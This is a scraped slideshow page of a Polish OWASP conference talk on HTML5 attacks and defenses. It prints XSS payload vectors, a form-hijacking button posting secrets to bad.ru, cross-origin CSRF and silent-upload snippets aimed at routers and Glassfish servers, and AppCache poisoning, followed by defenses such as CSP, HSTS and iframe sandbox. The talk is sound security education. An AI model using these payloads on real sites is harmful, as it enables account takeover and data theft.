HTML5: Atak i obrona

Web security researcher at Google
Feb. 18, 2013
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
HTML5: Atak i obrona
1 of 39

More Related Content

Slideshows for you

Jak nadążyć za światem front enduJak nadążyć za światem front endu
Jak nadążyć za światem front enduTomasz Dziuda
Potęga pliku .htaccessPotęga pliku .htaccess
Potęga pliku .htaccessWojciech Klocek
20 Joomlasztuczek, które mogą CI się przydać20 Joomlasztuczek, które mogą CI się przydać
20 Joomlasztuczek, które mogą CI się przydaćWojciech Klocek
Wprowadzenie do WP-APIWprowadzenie do WP-API
Wprowadzenie do WP-APITomasz Dziuda
Word up warszawa 2015Word up warszawa 2015
Word up warszawa 2015Tomasz Dziuda
Zhakuj swojego Wordpressa, WordUP TrojmiastoZhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP Trojmiastosecman_pl

Viewers also liked

I'm in your browser, pwning your stuffI'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffKrzysztof Kotowicz
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Krzysztof Kotowicz
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Krzysztof Kotowicz
Jak ocalić swoje dane przed SQL injection?Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Krzysztof Kotowicz
Html5: Something wicked this way comes (Hack in Paris)Html5: Something wicked this way comes (Hack in Paris)
Html5: Something wicked this way comes (Hack in Paris)Krzysztof Kotowicz
Something wicked this way comes - CONFidenceSomething wicked this way comes - CONFidence
Something wicked this way comes - CONFidenceKrzysztof Kotowicz

Similar to HTML5: Atak i obrona

Piątek z XSolve - Bezpieczne nagłówki HTTPPiątek z XSolve - Bezpieczne nagłówki HTTP
Piątek z XSolve - Bezpieczne nagłówki HTTPXSolve
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Logicaltrust pl
TGT#20 - Ataki XSS - Robert CharewiczTGT#20 - Ataki XSS - Robert Charewicz
TGT#20 - Ataki XSS - Robert CharewiczTrójmiejska Grupa Testerska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaModsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaLeszek Mi?
Owasp Top10 2010 RC1 PLOwasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLThink Secure
Atmosphere 2014: Scalable and under control - open cloud architecture conside...Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...PROIDEA

Similar to HTML5: Atak i obrona(20)

More from Krzysztof Kotowicz

Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Krzysztof Kotowicz
Trusted Types @ W3C TPAC 2018Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018Krzysztof Kotowicz
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSKrzysztof Kotowicz
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Krzysztof Kotowicz
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsI'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsKrzysztof Kotowicz
Advanced Chrome extension exploitationAdvanced Chrome extension exploitation
Advanced Chrome extension exploitationKrzysztof Kotowicz

Recently uploaded

做美国大学毕业证:加州大学河滨分校文凭成绩单改成绩做美国大学毕业证:加州大学河滨分校文凭成绩单改成绩
做美国大学毕业证:加州大学河滨分校文凭成绩单改成绩udxab
《美国留学生文凭证书》原版复刻哪里办理堪萨斯州立大学毕业证成绩单《美国留学生文凭证书》原版复刻哪里办理堪萨斯州立大学毕业证成绩单
《美国留学生文凭证书》原版复刻哪里办理堪萨斯州立大学毕业证成绩单udxab
Filmy4wap Skin - IPTVTechy.pptFilmy4wap Skin - IPTVTechy.ppt
Filmy4wap Skin - IPTVTechy.pptIPTVTechy
国外假毕业证快速办理管理大学毕业证书%原版↑制作国外假毕业证快速办理管理大学毕业证书%原版↑制作
国外假毕业证快速办理管理大学毕业证书%原版↑制作udxab
Lemo TV - IPTVTechy.pptLemo TV - IPTVTechy.ppt
Lemo TV - IPTVTechy.pptIPTVTechy
《加拿大留学生文凭证书》加急制作原版定制多伦多大学毕业证成绩单《加拿大留学生文凭证书》加急制作原版定制多伦多大学毕业证成绩单
《加拿大留学生文凭证书》加急制作原版定制多伦多大学毕业证成绩单udxab

HTML5: Atak i obrona

  1. HTML5: atak i obrona Krzysztof Kotowicz OWASP SecuRing kkotowicz@securing.pl Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation http://www.owasp.org

  2. $ id  IT security consultant @ SecuRing  Web security researcher (BlackHat USA, BruCON, Hack in Paris, ...)  blog.kotowicz.net  @kkotowicz OWASP 2

  3. HTML5 (i pokrewne) OWASP 3

  4. HTML5  Upgrade wielu technologii używanych przez aplikacje webowe  Dużo nowej dokumentacji  Dużo nowego kodu  Prace trwają od 2004 OWASP 4

  5. HTML5  Bogaty, oparty na standardach klient  Przenoszenie logiki na stronę klienta  więcej danych  więcej możliwości  Nowe API  Geolocation, Drag & Drop, Filesystem, WebSockets, WebWorkers, Touch Events... OWASP 5

  6. HTML5 i bezpieczeństwo  Wiele rozwiązań roboczych  Tradycyjne webowe podatności HTML wciąż istnieją  XSS  CSRF  Nowe API dostępne dla Javascriptu  XSS zyskuje na znaczeniu OWASP 6

  7. HTML5 - ataki (praktyczne) OWASP 7

  8. XSS  Filtry anty-XSS nie tylko w przeglądarkach!  Nowe elementy, nowe atrybuty <iframe srcdoc='<b>html here</b>'> <video poster=javascript:alert(1)//></video> <form><button formaction="javascript:alert(1)">X</button> <math><maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext >http://google.com</mtext></maction> </math> OWASP 8

  9. XSS  SVG, base64 - XSS i zaciemnnianie <svg><image style='filter:url("data:image/svg +xml,<svg xmlns=%22http://www.w3.org/2000/svg %22><script>parent.alert(1)</script></svg>")'></ svg> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <feImage> <set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64, PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC 9zdmciPjxzY3JpcHQ %2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/> </feImage> </svg> OWASP 9

  10. Data: URI  Użyj, jak kiedyś javascript: // all <a href=data:text/ html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a> // IE <link rel=stylesheet href=data:,*%7bx:expression(write(/xss/))%7d >  Sprawdź przekierowania! http://vuln.pl/?redirect=data:text/html,.... Location: data:text/html,... OWASP 10

  11. Przechwytywanie formularzy  Bez użycia Javascript <form id=f action=https://good.com> <input name=secret> </form> // anywhere in the document <button form=f formaction=http:// bad.ru>CLICK </button> OWASP 11

  12. Wykorzystanie XSS  HTML5 pomaga przy eksploitacji  WebSockets - wydajne połączenie z C&C  Dane w DB, HTML5 filesystem, Web Storage  // stealth mode history.pushState('/innocent-url') // wstrzyknięcie kodu localStorage['code']='alert(/1/)';  // później eval(localStorage['code']) OWASP 12

  13. Klasyczny XHR  Tylko w ramach tej samej domeny OWASP 13

  14. Cross Origin Resource Sharing  Międzydomenowy OWASP 14

  15. CORS  Międzydomenowe XHR, z poświadczeniami (credentials):  cookies  certyfikat SSL/TLS kliencki  poświadczenia HTTP auth  Docelowy serwer podejmuje decyzję  Odsyła odpowiednie nagłówki OWASP 15

  16. CORS // http://attacker.cn var xhr = new XMLHttpRequest(); xhr.open("POST", "http://victim.pl"); xhr.setRequestHeader("Content-Type", "text/plain"); xhr.withCredentials = "true"; // cookies etc. xhr.send("Anything"); OWASP 16

  17. CORS  Żądanie XHR dociera do serwera  Z poświadczeniami  Można wykorzystać do Cross Site Request Forgery  Tak jak <form>, <img src> itd.  Nic nowego? OWASP 17

  18. Cichy upload plików ing "); "An yth r.s end( xh Content-Type: multipart/form-data; boundary=AaB03x --AaB03x Content-Disposition: form-data; name="submit-name" Larry --AaB03x Content-Disposition: form-data; name="files"; filename="file1.txt" Content-Type: text/plain ... contents of file1.txt ... --AaB03x-- OWASP 18

  19. Cichy upload plików xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=xxx"); xhr.send(' --xxxrn Content-Disposition: form-data; name="files"; filename="file1.txt"rn Content-Type: text/plainrn rn ANYTHINGrn --xxx--'); OWASP 19

  20. Cichy upload plików  Udaje multipart/form-data request z uploadem poprzez <input type=file>  Użyj do:  Zastąpienia firmware’u w routerach  Przejęcia kontroli nad serwerami aplikacyjnymi logUrl = 'http://glassfishserver/ management/domain/applications/ application'; fileUpload(c,"maliciousarchive.war"); OWASP 20

  21. Wstrzyknięcie treści  http://website/#/a/page xhr.open("GET", "/a/page");  https://touch.facebook.com/#http:// example.com/xss.php HTTP/1.1 200 OK Access-Control-Allow-Origin: * Content-Type: text/html <img src=x onerror=alert(1)> OWASP 21

  22. Offline web applications  Cache offline <html manifest=/cache.manifest>  Manifest  Typ MIME text/cache-manifest CACHE MANIFEST / /main/home /main/app.js /settings/home /settings/app.js http://img.example.com/logo.png  Cache odświeża się, kiedy zmieni się plik OWASP 22

  23. Man in the middle  Podgląd / zmiana ruchu  XSS  session hijack (Firesheep)  Atak nietrwały OWASP 23

  24. AppCache poison 1. W trakcie MITM: wstrzyknięcie trucizny <html manifest="/robots.txt"> CACHE MANIFEST ....<script>evil_foo()</script> CACHE: http://victim/ NETWORK: * 2. Po zakończeniu MITM: • ofiara odwiedza stronę • robots.txt ma niewłaściwy typ MIME • zatruta strona pobierana z cache • złośliwy kod uruchamia się • ... aż do ręcznego wyczyszczenia offline cache OWASP 24

  25. AppCache poison OWASP 25

  26. AppCache poison  Jak się bronić?  SSL/TLS  Wyczyszczenie offline cache OWASP 26

  27. HTML5 - obrona (w trakcie budowy) OWASP 27

  28. HTML5 - metody obrony  Content Security Policy (XSS)  Nagłówek Origin (CSRF)  HTTP Strict Transport Security (MITM)  Iframe sandbox (izolacja treści) OWASP 28

  29. Content Security Policy  Polityka zapobiegająca m.in. XSS  Firefox / Chrome / IE 10 / Safari  Ciężka w implementacji <a onclick=....> <script>code</script>  Defense-in-depth OWASP 29

  30. Content Security Policy Content-Security-Policy: script-src 'self' https://apis.google.com; frame-src 'none'; object-src 'none' OWASP 30

  31. Nagłówek Origin Referer: http://host:port/url/?a=1  Często używany do zabezpieczenia przed CSRF if (req.headers.referer && !req.headers.referer.match('ok.com')) { tell_attacker_to_get_lost(); } else { process(); }  Kiedyś łatwy do podrobienia OWASP 31

  32. Nagłówek Origin  Łatwo pozbyć się nagłówka Referer!  preferencje przeglądarki  https:// → http://  niemożliwa do ustalenia wartość location = 'data:text/html,<html><meta http- equiv="refresh" content="0; url=data:text/html,<form id=f method=post action=''+url+''></ form><script>document.f.submit()</scri'+'pt>"></html>'; OWASP 32

  33. Nagłówek Origin  szanuje prywatność Referer: http://host:port/naga-prawda Origin: http://host:port  zachowany przy ruchu https:// → http://  nie może być podrobiony  nieznany → Origin: null OWASP 33

  34. HSTS  HTTP Strict Transport Security  Zabezpiecza przed atakami SSL stripping GET / HTTP/1.1 Host: gmail.com HTTP/1.1 301 Be Secure Location: https://mail.google.com/ OWASP 34

  35. HSTS Strict-Transport-Security: max-age=1576800; includeSubDomains  Dozwolone tylko szyfrowane połączenia  Ciche tłumaczenie http:// na https://  “Hard fail” w przypadku błędów SSL/TLS OWASP 35

  36. Iframe sandbox <script>user_id=4</script> <iframe sandbox src=untrusted-ad.aspx />  Bez dostępu do DOM  Bez skryptów  Bez pluginów (Java, Flash, ...)  Bez formularzy  Bez framebusting  Ograniczenia można wybiórczo wyłączać OWASP 36

  37. Iframe sandbox <iframe sandbox src="data:text/html, <script>alert('haha!')</script>"> </iframe> // attacker.com <iframe sandbox="allow-scripts allow-forms" src=http://clickjacked/ > </iframe> OWASP 37

  38. Podsumowanie  Nowe możliwości, także dla atakującego  XSS groźniejszy w skutkach  Nowe narzędzia do obrony  Warto je zastosować w kombinacji z tradycyjnymi metodami OWASP 38

  39. Odnośniki  html5security.org  html5sec.org  www.owasp.org/index.php/ HTML5_Security_Cheat_Sheet  github.com/koto/  blog.kotowicz.net OWASP 39